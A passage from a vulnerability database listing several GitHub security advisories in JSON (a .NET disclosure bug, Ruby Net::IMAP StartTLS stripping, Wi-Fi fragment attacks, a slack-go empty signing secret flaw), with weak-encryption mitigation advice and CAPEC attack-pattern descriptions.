GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2025-55248]( https://www.cve.org/CVERecord?id=CVE-2025-55248)\n\n### Revisions\n\nV1.0 (October 14, 2025): Advisory published.",
"id": "GHSA-gwq6-fmvp-qp68",
"modified": "2025-10-15T17:39:03Z",
"published": "2025-10-15T17:39:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/security/advisories/GHSA-gwq6-fmvp-qp68"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/372"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/issues/120713"
},
{
"type": "PACKAGE",
"url": "https://github.com/dotnet/runtime"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55248"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Security Advisory CVE-2025-55248: .NET Information Disclosure Vulnerability"
}
GHSA-GX49-H5R3-Q3XJ
Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09
VLAI
Details
An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."
Severity
7.4 (High)
{
"affected": [],
"aliases": [
"CVE-2021-32066"
],
"database_specific": {
"cwe_ids": [
"CWE-326",
"CWE-755"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-01T19:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"",
"id": "GHSA-gx49-h5r3-q3xj",
"modified": "2022-05-24T19:09:28Z",
"published": "2022-05-24T19:09:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32066"
},
{
"type": "WEB",
"url": "https://github.com/ruby/ruby/commit/a21a3b7d23704a01d34bd79d09dc37897e00922a"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1178562"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/10/msg00009.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00033.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202401-27"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210902-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2021/07/07/starttls-stripping-in-net-imap"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GX7F-9HJX-J92P
Vulnerability from github – Published: 2022-05-24 19:01 – Updated: 2022-07-13 00:00
VLAI
Details
The 802.11 standard that underpins Wi-Fi Protected Access (WPA, WPA2, and WPA3) and Wired Equivalent Privacy (WEP) doesn't require that all fragments of a frame are encrypted under the same key. An adversary can abuse this to decrypt selected fragments when another device sends fragmented frames and the WEP, CCMP, or GCMP encryption key is periodically renewed.
Severity
{
"affected": [],
"aliases": [
"CVE-2020-24587"
],
"database_specific": {
"cwe_ids": [
"CWE-326",
"CWE-327"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T20:15:00Z",
"severity": "MODERATE"
},
"details": "The 802.11 standard that underpins Wi-Fi Protected Access (WPA, WPA2, and WPA3) and Wired Equivalent Privacy (WEP) doesn\u0027t require that all fragments of a frame are encrypted under the same key. An adversary can abuse this to decrypt selected fragments when another device sends fragmented frames and the WEP, CCMP, or GCMP encryption key is periodically renewed.",
"id": "GHSA-gx7f-9hjx-j92p",
"modified": "2022-07-13T00:00:49Z",
"published": "2022-05-24T19:01:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24587"
},
{
"type": "WEB",
"url": "https://github.com/vanhoefm/fragattacks/blob/master/SUMMARY.md"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00019.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00020.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00002.html"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wifi-faf-22epcEWu"
},
{
"type": "WEB",
"url": "https://www.arista.com/en/support/advisories-notices/security-advisories/12602-security-advisory-63"
},
{
"type": "WEB",
"url": "https://www.fragattacks.com"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00473.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/05/11/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GXHX-2686-5H9G
Vulnerability from github – Published: 2026-05-14 20:52 – Updated: 2026-06-29 15:38
VLAI
Summary
slack-go `SecretsVerifier` accepts empty signing secret without precondition
Details
SecretsVerifier in slack-go/slack before v0.23.1 accepts an empty signing secret without error. If an application is misconfigured (e.g., an unset or empty SLACK_SIGNING_SECRET), NewSecretsVerifier builds an HMAC-SHA256 keyed with an empty string, allowing an unauthenticated attacker to forge a valid X-Slack-Signature and bypass Slack request authentication. Fixed in v0.23.1, which rejects empty secrets with ErrInvalidConfiguration. This is patched in version 0.23.1.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/slack-go/slack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1391",
"CWE-287",
"CWE-326"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`SecretsVerifier` in slack-go/slack before v0.23.1 accepts an empty signing secret without error. If an application is misconfigured (e.g., an unset or empty `SLACK_SIGNING_SECRET`), `NewSecretsVerifier` builds an HMAC-SHA256 keyed with an empty string, allowing an unauthenticated attacker to forge a valid `X-Slack-Signature` and bypass Slack request authentication. Fixed in v0.23.1, which rejects empty secrets with `ErrInvalidConfiguration`. This is patched in version 0.23.1.",
"id": "GHSA-gxhx-2686-5h9g",
"modified": "2026-06-29T15:38:00Z",
"published": "2026-05-14T20:52:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/slack-go/slack/security/advisories/GHSA-gxhx-2686-5h9g"
},
{
"type": "WEB",
"url": "https://github.com/slack-go/slack/commit/34ad5c052e446f58505ae8d81a2a72821de107cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/slack-go/slack"
},
{
"type": "WEB",
"url": "https://github.com/slack-go/slack/releases/tag/v0.23.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "slack-go `SecretsVerifier` accepts empty signing secret without precondition"
}
Mitigation
Architecture and Design
Use an encryption scheme that is currently considered to be strong by experts in the field.
CAPEC-112: Brute Force
In this attack, some asset (information, functionality, identity, etc.) is protected by a finite secret value. The attacker attempts to gain access to this asset by using trial-and-error to exhaustively explore all the possible secret values in the hope of finding the secret (or a value that is functionally equivalent) that will unlock the asset.
CAPEC-192: Protocol Analysis
An adversary engages in activities to decipher and/or decode protocol information for a network or application communication protocol used for transmitting information between interconnected nodes or systems on a packet-switched data network. While this type of analysis involves the analysis of a networking protocol inherently, it does not require the presence of an actual or physical network.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.